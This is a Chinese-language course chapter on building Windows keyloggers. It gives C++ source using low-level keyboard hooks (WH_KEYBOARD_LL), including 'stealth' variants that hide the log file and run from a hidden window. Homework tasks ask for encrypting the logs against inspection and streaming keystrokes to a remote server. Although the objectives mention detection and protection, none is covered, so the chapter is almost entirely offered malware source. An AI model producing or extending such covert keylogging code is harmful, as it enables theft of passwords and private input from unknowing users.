安全开发专题

4、键盘记录

1、课程目标

  1. 理解Windows键盘输入机制
  2. 掌握键盘钩子技术实现
  3. 实现隐蔽的键盘记录功能
  4. 了解键盘记录的检测和防护

2、名词解释

术语 全称 解释
Keyboard Logger 键盘记录器 记录用户键盘输入的程序
Hook 钩子 拦截系统消息的机制
WH_KEYBOARD_LL Low-Level Keyboard Hook 低级键盘钩子
Keylog 键位日志 记录的按键信息

3、技术原理

1. Windows键盘输入机制

键盘输入流程:
┌─────────────┐    ┌──────────────┐    ┌──────────────┐
│   键盘硬件   │───▶│  Windows内核  │───▶│  应用程序    │
└─────────────┘    └──────────────┘    └──────────────┘


                   ┌──────────────┐
                   │  消息队列    │
                   └──────────────┘


                   ┌──────────────┐
                   │  窗口过程    │
                   └──────────────┘

钩子拦截点:
WH_KEYBOARD     - 标准键盘钩子(只能拦截当前线程)
WH_KEYBOARD_LL  - 低级键盘钩子(全局拦截)

2. 键盘钩子技术

低级键盘钩子工作原理:
1. 调用SetWindowsHookEx安装钩子
2. 系统将键盘消息先发送给钩子函数
3. 钩子函数处理完毕后决定是否传递给下一个处理者
4. 通过UnhookWindowsHookEx卸载钩子

钩子函数签名:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

3、代码实现

1. 基础键盘记录实现

// keyboard_logger.cpp
// 基础键盘记录实现

#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>

// 全局变量
HHOOK g_hKeyboardHook = NULL;
FILE* g_logFile = NULL;

// 键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
        
        // 只处理按键按下事件
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            // 获取按键名称
            char keyName[256] = {0};
            GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
            
            // 获取当前时间
            time_t now = time(0);
            struct tm localTime;
            localtime_s(&localTime, &now);
            
            // 记录到文件
            if (g_logFile) {
                fprintf(g_logFile, "[%02d:%02d:%02d] %s (VK:0x%02X, SC:0x%04X)\n",
                    localTime.tm_hour, localTime.tm_min, localTime.tm_sec,
                    keyName, pKeyInfo->vkCode, pKeyInfo->scanCode);
                fflush(g_logFile);
            }
            
            printf("[%02d:%02d:%02d] %s\n", 
                localTime.tm_hour, localTime.tm_min, localTime.tm_sec, keyName);
        }
    }
    
    // 传递给下一个钩子
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

// 安装键盘钩子
bool InstallKeyboardHook(const char* logFilePath) {
    // 打开日志文件
    g_logFile = fopen(logFilePath, "a");
    if (!g_logFile) {
        printf("[-] Failed to open log file: %s\n", logFilePath);
        return false;
    }
    
    // 安装低级键盘钩子
    g_hKeyboardHook = SetWindowsHookExA(
        WH_KEYBOARD_LL,
        LowLevelKeyboardProc,
        GetModuleHandleA(NULL),
        0
    );
    
    if (!g_hKeyboardHook) {
        printf("[-] Failed to install keyboard hook: %lu\n", GetLastError());
        fclose(g_logFile);
        g_logFile = NULL;
        return false;
    }
    
    printf("[+] Keyboard hook installed successfully\n");
    return true;
}

// 卸载键盘钩子
void UninstallKeyboardHook() {
    if (g_hKeyboardHook) {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
        printf("[+] Keyboard hook uninstalled\n");
    }
    
    if (g_logFile) {
        fclose(g_logFile);
        g_logFile = NULL;
        printf("[+] Log file closed\n");
    }
}

// 消息循环
void MessageLoop() {
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

// 测试函数
void TestKeyboardLogger() {
    printf("=== Keyboard Logger Test ===\n");
    
    // 安装键盘钩子
    if (InstallKeyboardHook("keylog.txt")) {
        printf("[*] Keyboard logger started. Press Ctrl+C to stop.\n");
        
        // 运行消息循环
        MessageLoop();
        
        // 卸载钩子
        UninstallKeyboardHook();
    }
}

2. 高级键盘记录技术

// advanced_keylogger.cpp
// 高级键盘记录技术

#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <vector>
#include <map>

// 特殊键映射
std::map<int, std::string> g_specialKeys = {
    {VK_BACK, "[BACKSPACE]"},
    {VK_TAB, "[TAB]"},
    {VK_RETURN, "[ENTER]"},
    {VK_SHIFT, "[SHIFT]"},
    {VK_CONTROL, "[CTRL]"},
    {VK_MENU, "[ALT]"},
    {VK_CAPITAL, "[CAPSLOCK]"},
    {VK_ESCAPE, "[ESC]"},
    {VK_SPACE, " "},
    {VK_PRIOR, "[PAGEUP]"},
    {VK_NEXT, "[PAGEDOWN]"},
    {VK_END, "[END]"},
    {VK_HOME, "[HOME]"},
    {VK_LEFT, "[LEFT]"},
    {VK_UP, "[UP]"},
    {VK_RIGHT, "[RIGHT]"},
    {VK_DOWN, "[DOWN]"},
    {VK_INSERT, "[INSERT]"},
    {VK_DELETE, "[DELETE]"},
    {VK_LWIN, "[LWIN]"},
    {VK_RWIN, "[RWIN]"},
    {VK_APPS, "[APPS]"},
    {VK_F1, "[F1]"},
    {VK_F2, "[F2]"},
    {VK_F3, "[F3]"},
    {VK_F4, "[F4]"},
    {VK_F5, "[F5]"},
    {VK_F6, "[F6]"},
    {VK_F7, "[F7]"},
    {VK_F8, "[F8]"},
    {VK_F9, "[F9]"},
    {VK_F10, "[F10]"},
    {VK_F11, "[F11]"},
    {VK_F12, "[F12]"}
};

// 键盘记录器类
class KeyboardLogger {
private:
    HHOOK m_hHook;
    FILE* m_logFile;
    std::string m_buffer;
    bool m_capsLock;
    bool m_shiftPressed;
    
public:
    KeyboardLogger() : m_hHook(NULL), m_logFile(NULL), 
                      m_capsLock(false), m_shiftPressed(false) {}
    
    ~KeyboardLogger() {
        Stop();
    }
    
    // 启动记录器
    bool Start(const char* logPath) {
        // 打开日志文件
        m_logFile = fopen(logPath, "a");
        if (!m_logFile) {
            return false;
        }
        
        // 检查Caps Lock状态
        m_capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
        
        // 安装钩子
        m_hHook = SetWindowsHookExA(
            WH_KEYBOARD_LL,
            KeyboardProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_hHook) {
            fclose(m_logFile);
            m_logFile = NULL;
            return false;
        }
        
        // 保存this指针到TLS或其他方式传递
        return true;
    }
    
    // 停止记录器
    void Stop() {
        if (m_hHook) {
            UnhookWindowsHookEx(m_hHook);
            m_hHook = NULL;
        }
        
        if (m_logFile) {
            fclose(m_logFile);
            m_logFile = NULL;
        }
        
        FlushBuffer();
    }
    
    // 刷新缓冲区
    void FlushBuffer() {
        if (!m_buffer.empty() && m_logFile) {
            fprintf(m_logFile, "%s", m_buffer.c_str());
            fflush(m_logFile);
            m_buffer.clear();
        }
    }
    
    // 处理按键
    void ProcessKey(DWORD vkCode, bool isKeyDown) {
        if (!isKeyDown) return;
        
        // 处理特殊键
        auto it = g_specialKeys.find(vkCode);
        if (it != g_specialKeys.end()) {
            // 处理Caps Lock
            if (vkCode == VK_CAPITAL) {
                m_capsLock = !m_capsLock;
            }
            
            // 处理Shift
            if (vkCode == VK_SHIFT) {
                m_shiftPressed = true;
            }
            
            m_buffer += it->second;
            return;
        }
        
        // 处理普通字符键
        char keyChar = MapVirtualKeyA(vkCode, MAPVK_VK_TO_CHAR);
        if (keyChar != 0) {
            // 应用Shift和Caps Lock
            bool isUpper = (m_shiftPressed != m_capsLock);
            if (isUpper && keyChar >= 'a' && keyChar <= 'z') {
                keyChar = toupper(keyChar);
            } else if (!isUpper && keyChar >= 'A' && keyChar <= 'Z') {
                keyChar = tolower(keyChar);
            }
            
            m_buffer += keyChar;
        }
    }
    
    // 静态钩子过程
    static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
            static KeyboardLogger* instance = nullptr;
            
            // 这里需要一种方式获取实例,简化处理
            if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
                // 处理按键按下
                // instance->ProcessKey(pKeyInfo->vkCode, true);
            } else if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
                // 处理按键释放
                // instance->ProcessKey(pKeyInfo->vkCode, false);
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
};

3. 隐蔽键盘记录实现

// stealth_keylogger.cpp
// 隐蔽键盘记录实现

#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <thread>
#include <mutex>

// 隐蔽键盘记录器
class StealthKeylogger {
private:
    HHOOK m_hHook;
    HANDLE m_hLogFile;
    std::mutex m_mutex;
    bool m_running;
    
    // 隐藏窗口类
    class HiddenWindow {
    private:
        HWND m_hWnd;
        
    public:
        HiddenWindow() : m_hWnd(NULL) {
            CreateHiddenWindow();
        }
        
        ~HiddenWindow() {
            if (m_hWnd) {
                DestroyWindow(m_hWnd);
            }
        }
        
        HWND GetHWND() const { return m_hWnd; }
        
    private:
        static LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
            return DefWindowProc(hwnd, msg, wParam, lParam);
        }
        
        void CreateHiddenWindow() {
            WNDCLASSA wc = {0};
            wc.lpfnWndProc = WindowProc;
            wc.hInstance = GetModuleHandleA(NULL);
            wc.lpszClassName = "StealthKeylogger";
            
            if (RegisterClassA(&wc)) {
                m_hWnd = CreateWindowExA(
                    0,
                    "StealthKeylogger",
                    "",
                    0,
                    0, 0, 0, 0,
                    NULL,
                    NULL,
                    GetModuleHandleA(NULL),
                    NULL
                );
            }
        }
    };
    
    HiddenWindow m_hiddenWindow;
    
public:
    StealthKeylogger() : m_hHook(NULL), m_hLogFile(INVALID_HANDLE_VALUE), m_running(false) {}
    
    ~StealthKeylogger() {
        Stop();
    }
    
    // 启动隐蔽记录器
    bool Start(const char* logPath) {
        // 创建日志文件
        m_hLogFile = CreateFileA(
            logPath,
            GENERIC_WRITE,
            FILE_SHARE_READ,
            NULL,
            OPEN_ALWAYS,
            FILE_ATTRIBUTE_HIDDEN,
            NULL
        );
        
        if (m_hLogFile == INVALID_HANDLE_VALUE) {
            return false;
        }
        
        // 移动到文件末尾
        SetFilePointer(m_hLogFile, 0, NULL, FILE_END);
        
        // 安装钩子
        m_hHook = SetWindowsHookExA(
            WH_KEYBOARD_LL,
            StealthKeyboardProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_hHook) {
            CloseHandle(m_hLogFile);
            m_hLogFile = INVALID_HANDLE_VALUE;
            return false;
        }
        
        m_running = true;
        
        // 启动消息处理线程
        std::thread msgThread(&StealthKeylogger::MessageThread, this);
        msgThread.detach();
        
        printf("[+] Stealth keylogger started\n");
        return true;
    }
    
    // 停止记录器
    void Stop() {
        m_running = false;
        
        if (m_hHook) {
            UnhookWindowsHookEx(m_hHook);
            m_hHook = NULL;
        }
        
        if (m_hLogFile != INVALID_HANDLE_VALUE) {
            CloseHandle(m_hLogFile);
            m_hLogFile = INVALID_HANDLE_VALUE;
        }
    }
    
    // 消息处理线程
    void MessageThread() {
        MSG msg;
        while (m_running && GetMessage(&msg, m_hiddenWindow.GetHWND(), 0, 0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
    
    // 记录按键
    void LogKey(const char* keyText) {
        std::lock_guard<std::mutex> lock(m_mutex);
        
        if (m_hLogFile != INVALID_HANDLE_VALUE) {
            DWORD written;
            WriteFile(m_hLogFile, keyText, strlen(keyText), &written, NULL);
            FlushFileBuffers(m_hLogFile);
        }
    }
    
    // 静态钩子过程
    static LRESULT CALLBACK StealthKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
            
            if (wParam == WM_KEYDOWN) {
                // 获取按键信息
                char keyName[32] = {0};
                GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
                
                // 简化的记录方式
                char logEntry[64];
                sprintf_s(logEntry, "[%lu] %s\n", GetTickCount(), keyName);
                
                // 这里需要获取实例来记录,简化处理
                // GetInstance()->LogKey(logEntry);
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
};

4. 键盘记录管理器

// keylogger_manager.cpp
// 键盘记录管理器

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>

// 记录模式枚举
enum class LogMode {
    Simple,      // 简单记录
    Detailed,    // 详细记录(带时间戳等)
    Stealth      // 隐蔽记录
};

// 键盘记录管理器
class KeyloggerManager {
private:
    HHOOK m_hHook;
    FILE* m_logFile;
    LogMode m_mode;
    std::string m_logPath;
    bool m_active;
    
public:
    KeyloggerManager() : m_hHook(NULL), m_logFile(NULL), 
                        m_mode(LogMode::Simple), m_active(false) {}
    
    ~KeyloggerManager() {
        Stop();
    }
    
    // 启动记录器
    bool Start(const char* logPath, LogMode mode = LogMode::Simple) {
        m_logPath = logPath;
        m_mode = mode;
        
        // 打开日志文件
        const char* modeStr = (mode == LogMode::Detailed) ? "a" : "a";
        m_logFile = fopen(logPath, modeStr);
        if (!m_logFile) {
            return false;
        }
        
        // 设置文件属性为隐藏
        SetFileAttributesA(logPath, FILE_ATTRIBUTE_HIDDEN);
        
        // 安装钩子
        m_hHook = SetWindowsHookExA(
            WH_KEYBOARD_LL,
            KeyboardHookProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_hHook) {
            fclose(m_logFile);
            m_logFile = NULL;
            return false;
        }
        
        m_active = true;
        printf("[+] Keylogger started in %s mode\n", 
               (mode == LogMode::Simple) ? "Simple" : 
               (mode == LogMode::Detailed) ? "Detailed" : "Stealth");
        
        return true;
    }
    
    // 停止记录器
    void Stop() {
        if (m_active) {
            if (m_hHook) {
                UnhookWindowsHookEx(m_hHook);
                m_hHook = NULL;
            }
            
            if (m_logFile) {
                fclose(m_logFile);
                m_logFile = NULL;
            }
            
            m_active = false;
            printf("[+] Keylogger stopped\n");
        }
    }
    
    // 获取状态
    bool IsActive() const {
        return m_active;
    }
    
    // 静态钩子过程
    static LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
            
            if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
                // 处理按键记录
                HandleKeyEvent(pKeyInfo);
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
private:
    // 处理按键事件
    static void HandleKeyEvent(KBDLLHOOKSTRUCT* pKeyInfo) {
        // 获取按键名称
        char keyName[256] = {0};
        GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
        
        // 简化处理,实际应用中需要更好的管理机制
        printf("Key pressed: %s\n", keyName);
    }
};

// 测试函数
void TestKeylogger() {
    printf("=== Keylogger Test ===\n");
    
    KeyloggerManager manager;
    
    // 启动简单模式记录器
    if (manager.Start("test_keylog.txt", LogMode::Simple)) {
        printf("[*] Keylogger running. Press ENTER to stop...\n");
        
        // 等待用户输入
        getchar();
        
        // 停止记录器
        manager.Stop();
    }
}

5、课后作业

5.1、作业1:实现智能按键识别

改进键盘记录器,能够识别组合键(如Ctrl+C、Alt+Tab)并正确记录。

5.2、作业2:添加日志加密功能

实现键盘记录日志的加密存储,防止被轻易查看。

5.3、作业3:实现远程日志传输

添加将键盘记录实时发送到远程服务器的功能。